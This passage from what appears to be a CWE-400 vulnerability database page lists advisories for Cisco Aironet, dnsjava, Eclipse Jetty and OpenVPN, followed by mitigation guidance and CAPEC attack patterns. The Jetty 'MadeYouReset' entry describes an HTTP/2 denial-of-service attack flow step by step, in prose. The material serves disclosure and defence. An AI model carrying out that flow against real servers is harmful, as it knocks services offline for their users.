      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MMVP-2HG2-G76C

Vulnerability from github – Published: 2022-05-24 17:29 – Updated: 2022-05-24 17:29
VLAI
Details

A vulnerability in Cisco Aironet Access Point (AP) Software could allow an unauthenticated, remote attacker to cause an affected device to reload. The vulnerability is due to improper handling of clients that are trying to connect to the AP. An attacker could exploit this vulnerability by sending authentication requests from multiple clients to an affected device. A successful exploit could allow the attacker to cause the affected device to reload.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-3559"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-09-24T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in Cisco Aironet Access Point (AP) Software could allow an unauthenticated, remote attacker to cause an affected device to reload. The vulnerability is due to improper handling of clients that are trying to connect to the AP. An attacker could exploit this vulnerability by sending authentication requests from multiple clients to an affected device. A successful exploit could allow the attacker to cause the affected device to reload.",
  "id": "GHSA-mmvp-2hg2-g76c",
  "modified": "2022-05-24T17:29:30Z",
  "published": "2022-05-24T17:29:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-3559"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-aironet-dos-h3DCuLXw"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-MMWX-RJ87-VFGR

Vulnerability from github – Published: 2024-07-22 14:46 – Updated: 2024-11-18 16:26
VLAI
Summary
DNSJava affected by KeyTrap - NSEC3 closest encloser proof can exhaust CPU resources
Details

Impact

Users using the ValidatingResolver for DNSSEC validation can run into CPU exhaustion with specially crafted DNSSEC-signed zones.

Patches

Users should upgrade to dnsjava v3.6.0

Workarounds

Although not recommended, only using a non-validating resolver, will remove the vulnerability.

References

https://www.athene-center.de/en/keytrap

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "dnsjava:dnsjava"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.5.0"
            },
            {
              "fixed": "3.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.jitsi:dnssecjava"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-07-22T14:46:59Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\nUsers using the `ValidatingResolver` for DNSSEC validation can run into CPU exhaustion with specially crafted DNSSEC-signed zones.\n\n### Patches\nUsers should upgrade to dnsjava v3.6.0\n\n### Workarounds\nAlthough not recommended, only using a non-validating resolver, will remove the vulnerability.\n\n### References\nhttps://www.athene-center.de/en/keytrap\n",
  "id": "GHSA-mmwx-rj87-vfgr",
  "modified": "2024-11-18T16:26:54Z",
  "published": "2024-07-22T14:46:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dnsjava/dnsjava/security/advisories/GHSA-mmwx-rj87-vfgr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-50868"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dnsjava/dnsjava/commit/711af79be3214f52daa5c846b95766dc0a075116"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-pv4h-p8jr-6cv2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dnsjava/dnsjava"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "DNSJava affected by KeyTrap - NSEC3 closest encloser proof can exhaust CPU resources"
}

GHSA-MMXM-8W33-WC4H

Vulnerability from github – Published: 2025-08-20 20:52 – Updated: 2025-11-05 20:40
VLAI
Summary
Eclipse Jetty affected by MadeYouReset HTTP/2 vulnerability
Details

Technical Details

Below is a technical explanation of a newly discovered vulnerability in HTTP/2, which we refer to as “MadeYouReset.”

MadeYouReset Vulnerability Summary

The MadeYouReset DDoS vulnerability is a logical vulnerability in the HTTP/2 protocol, that uses malformed HTTP/2 control frames in order to break the max concurrent streams limit - which results in resource exhaustion and distributed denial of service.

Mechanism

The vulnerability uses malformed HTTP/2 control frames, or malformed flow, in order to make the server reset streams created by the client (using the RST_STREAM frame). The vulnerability could be triggered by several primitives, defined by the RFC of HTTP/2 (RFC 9113). The Primitives are: 1. WINDOW_UPDATE frame with an increment of 0 or an increment that makes the window exceed 2^31 - 1. (section 6.9 + 6.9.1) 2. HEADERS or DATA frames sent on a half-closed (remote) stream (which was closed using the END_STREAM flag). (note that for some implementations it's possible a CONTINUATION frame to trigger that as well - but it's very rare). (Section 5.1) 3. PRIORITY frame with a length other than 5. (section 6.3) From our experience, the primitives are likely to exist in the decreasing order listed above. Note that based on the implementation of the library, other primitives (which are not defined by the RFC) might exist - meaning scenarios in which RST_STREAM is not supposed to be sent, but in the implementation it does. On the other hand - some RFC-defined primitives might not work, even though they are defined by the RFC (as some implementations are not fully complying with RFC). For example, some implementations we’ve seen discard the PRIORITY frame - and thus does not return RST_STREAM, and some implementations send GO_AWAY when receiving a WINDOW_UPDATE frame with increment of 0.

The vulnerability takes advantage of a design flaw in the HTTP/2 protocol - While HTTP/2 has a limit on the number of concurrently active streams per connection (which is usually 100, and is set by the parameter SETTINGS_MAX_CONCURRENT_STREAMS), the number of active streams is not counted correctly - when a stream is reset, it is immediately considered not active, and thus unaccounted for in the active streams counter. While the protocol does not count those streams as active, the server’s backend logic still processes and handles the requests that were canceled.

Thus, the attacker can exploit this vulnerability to cause the server to handle an unbounded number of concurrent streams from a client on the same connection. The exploitation is very simple: the client issues a request in a stream, and then sends the control frame that causes the server to send a RST_STREAM.

Attack Flow

For example, a possible attack scenario can be: 1. Attacker opens an HTTP/2 connection to the server. 2. Attacker sends HEADERS frame with END_STREAM flag on a new stream X.
3. Attacker sends WINDOW_UPDATE for stream X with flow-control window of 0. 4. The server receives the WINDOW_UPDATE and immediately sends RST_STREAM for stream X to the client (+ decreases the active streams counter by 1).

The attacker can repeat steps 2+3 as rapidly as it is capable, since the active streams counter never exceeds 1 and the attacker does not need to wait for the response from the server. This leads to resource exhaustion and distributed denial of service vulnerabilities with an impact of: CPU overload and/or memory exhaustion (implementation dependant)

Comparison to Rapid Reset

The vulnerability takes advantage of a design flow in the HTTP/2 protocol that was also used in the Rapid Reset vulnerability (CVE-2023-44487) which was exploited as a zero-day in the wild in August 2023 to October 2023, against multiple services and vendors. The Rapid Reset vulnerability uses RST_STREAM frames sent from the client, in order to create an unbounded amount of concurrent streams - it was given a CVSS score of 7.5. Rapid Reset was mostly mitigated by limiting the number/rate of RST_STREAM sent from the client, which does not mitigate the MadeYouReset attack - since it triggers the server to send a RST_STREAM.

Suggested Mitigations for MadeYouReset

A quick and easy mitigation will be to limit the number/rate of RST_STREAMs sent from the server. It is also possible to limit the number/rate of control frames sent by the client (e.g. WINDOW_UPDATE and PRIORITY), and treat protocol flow errors as a connection error.

As mentioned in our previous message, this is a protocol-level vulnerability that affects multiple vendors and implementations. Given its broad impact, it is the shared responsibility of all parties involved to handle the disclosure process carefully and coordinate mitigations effectively.

If you have any questions, we will be happy to clarify or schedule a Zoom call.

Gal, Anat and Yaniv.

Jetty's Team Notes

Impact

A denial of service vulnerability similar to Rapid Reset, but where the client triggers a reset from the server by sending a malformed or invalid frame. In particular, this may be triggered by WINDOW_UPDATE frames that are invalid (e.g. with delta==0 or when the delta makes the window exceed 2^31-1).

Patches

Patch has been merged into 12.0.x mainline via https://github.com/jetty/jetty.project/pull/13449.

Workarounds

No workarounds apart disabling HTTP/2.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
7.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:N/SA:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 9.4.57"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.eclipse.jetty.http2:http2-common"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.3.0"
            },
            {
              "fixed": "9.4.58"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 10.0.25"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.eclipse.jetty.http2:http2-common"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0"
            },
            {
              "fixed": "10.0.26"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 11.0.25"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.eclipse.jetty.http2:http2-common"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.0.0"
            },
            {
              "fixed": "11.0.26"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 12.0.24"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.eclipse.jetty.http2:jetty-http2-common"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "12.0.0"
            },
            {
              "fixed": "12.0.25"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 12.1.0.beta2"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.eclipse.jetty.http2:jetty-http2-common"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "12.1.0.alpha0"
            },
            {
              "fixed": "12.1.0.beta3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-5115"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-20T20:52:17Z",
    "nvd_published_at": "2025-08-20T20:15:33Z",
    "severity": "HIGH"
  },
  "details": "## Technical Details \nBelow is a technical explanation of a newly discovered vulnerability in HTTP/2, which we refer to as \u201cMadeYouReset.\u201d\n\n### MadeYouReset Vulnerability Summary\nThe MadeYouReset DDoS vulnerability is a logical vulnerability in the HTTP/2 protocol, that uses malformed HTTP/2 control frames in order to break the max concurrent streams limit - which results in resource exhaustion and distributed denial of service.\n\n### Mechanism\nThe vulnerability uses malformed HTTP/2 control frames, or malformed flow, in order to make the server reset streams created by the client (using the RST_STREAM frame). \nThe vulnerability could be triggered by several primitives, defined by the RFC of HTTP/2 (RFC 9113). The Primitives are:\n1. WINDOW_UPDATE frame with an increment of 0 or an increment that makes the window exceed 2^31 - 1. (section 6.9 + 6.9.1)\n2. HEADERS or DATA frames sent on a half-closed (remote) stream (which was closed using the END_STREAM flag). (note that for some implementations it\u0027s possible a CONTINUATION frame to trigger that as well - but it\u0027s very rare). (Section 5.1)\n3. PRIORITY frame with a length other than 5. (section 6.3)\nFrom our experience, the primitives are likely to exist in the decreasing order listed above.\nNote that based on the implementation of the library, other primitives (which are not defined by the RFC) might exist - meaning scenarios in which RST_STREAM is not supposed to be sent, but in the implementation it does. On the other hand - some RFC-defined primitives might not work, even though they are defined by the RFC (as some implementations are not fully complying with RFC). For example, some implementations we\u2019ve seen discard the PRIORITY frame - and thus does not return RST_STREAM, and some implementations send GO_AWAY when receiving a WINDOW_UPDATE frame with increment of 0.\n\nThe vulnerability takes advantage of a design flaw in the HTTP/2 protocol - While HTTP/2 has a limit on the number of concurrently active streams per connection (which is usually 100, and is set by the parameter SETTINGS_MAX_CONCURRENT_STREAMS), the number of active streams is not counted correctly - when a stream is reset, it is immediately considered not active, and thus unaccounted for in the active streams counter. \nWhile the protocol does not count those streams as active, the server\u2019s backend logic still processes and handles the requests that were canceled.\n\nThus, the attacker can exploit this vulnerability to cause the server to handle an unbounded number of concurrent streams from a client on the same connection. The exploitation is very simple: the client issues a request in a stream, and then sends the control frame that causes the server to send a RST_STREAM.\n\n### Attack Flow\nFor example, a possible attack scenario can be: \n1. Attacker opens an HTTP/2 connection to the server.\n2. Attacker sends HEADERS frame with END_STREAM flag on a new stream X.  \n3. Attacker sends WINDOW_UPDATE for stream X with flow-control window of 0.\n4. The server receives the WINDOW_UPDATE and immediately sends RST_STREAM for stream X to the client (+ decreases the active streams counter by 1).\n\nThe attacker can repeat steps 2+3 as rapidly as it is capable, since the active streams counter never exceeds 1 and the attacker does not need to wait for the response from the server.\nThis leads to resource exhaustion and distributed denial of service vulnerabilities with an impact of: CPU overload and/or memory exhaustion (implementation dependant)\n\n### Comparison to Rapid Reset\nThe vulnerability takes advantage of a design flow in the HTTP/2 protocol that was also used in the Rapid Reset vulnerability (CVE-2023-44487) which was exploited as a zero-day in the wild in August 2023 to October 2023, against multiple services and vendors.\nThe Rapid Reset vulnerability uses RST_STREAM frames sent from the client, in order to create an unbounded amount of concurrent streams - it was given a CVSS score of 7.5.\nRapid Reset was mostly mitigated by limiting the number/rate of RST_STREAM sent from the client, which does not mitigate the MadeYouReset attack - since it triggers the server to send a RST_STREAM.\n\n### Suggested Mitigations for MadeYouReset\nA quick and easy mitigation will be to limit the number/rate of RST_STREAMs sent from the server.\nIt is also possible to limit the number/rate of control frames sent by the client (e.g. WINDOW_UPDATE and PRIORITY), and treat protocol flow errors as a connection error.\n\nAs mentioned in our previous message, this is a protocol-level vulnerability that affects multiple vendors and implementations. Given its broad impact, it is the shared responsibility of all parties involved to handle the disclosure process carefully and coordinate mitigations effectively.\n\n\nIf you have any questions, we will be happy to clarify or schedule a Zoom call.\n\nGal, Anat and Yaniv.\n\n\n\n## Jetty\u0027s Team Notes\n\n### Impact\nA denial of service vulnerability similar to [Rapid Reset](https://github.com/jetty/jetty.project/security/advisories/GHSA-c745-7wm4-7738), but where the client triggers a reset from the server by sending a malformed or invalid frame.\nIn particular, this may be triggered by WINDOW_UPDATE frames that are invalid (e.g. with `delta==0` or when the delta makes the window exceed `2^31-1`).\n\n### Patches\nPatch has been merged into 12.0.x mainline via https://github.com/jetty/jetty.project/pull/13449.\n\n### Workarounds\nNo workarounds apart disabling HTTP/2.",
  "id": "GHSA-mmxm-8w33-wc4h",
  "modified": "2025-11-05T20:40:34Z",
  "published": "2025-08-20T20:52:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jetty/jetty.project/security/advisories/GHSA-mmxm-8w33-wc4h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-5115"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jetty/jetty.project/pull/13449"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jetty/jetty.project/commit/f9ee3904788b08203ed62c95a560d951da37bdb1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jetty/jetty.project"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jetty/jetty.project/releases/tag/jetty-10.0.26"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jetty/jetty.project/releases/tag/jetty-11.0.26"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jetty/jetty.project/releases/tag/jetty-12.0.25"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jetty/jetty.project/releases/tag/jetty-12.1.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jetty/jetty.project/releases/tag/jetty-9.4.58.v20250814"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/09/msg00014.html"
    },
    {
      "type": "WEB",
      "url": "https://www.kb.cert.org/vuls/id/767506"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2025/08/20/4"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2025/09/17/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:N/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Eclipse Jetty affected by MadeYouReset HTTP/2 vulnerability"
}

GHSA-MMXR-6344-9FV5

Vulnerability from github – Published: 2022-05-13 01:47 – Updated: 2022-05-13 01:47
VLAI
Details

OpenVPN versions before 2.4.3 and before 2.3.17 are vulnerable to remote denial-of-service due to memory exhaustion caused by memory leaks and double-free issue in extract_x509_extension().

Severity
5.9 (Medium)
CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-7521"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-415"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-06-27T13:29:00Z",
    "severity": "MODERATE"
  },
  "details": "OpenVPN versions before 2.4.3 and before 2.3.17 are vulnerable to remote denial-of-service due to memory exhaustion caused by memory leaks and double-free issue in extract_x509_extension().",
  "id": "GHSA-mmxr-6344-9fv5",
  "modified": "2022-05-13T01:47:00Z",
  "published": "2022-05-13T01:47:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-7521"
    },
    {
      "type": "WEB",
      "url": "https://community.openvpn.net/openvpn/wiki/VulnerabilitiesFixedInOpenVPN243"
    },
    {
      "type": "WEB",
      "url": "http://www.debian.org/security/2017/dsa-3900"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/99230"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1038768"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.

← Back to the CWE list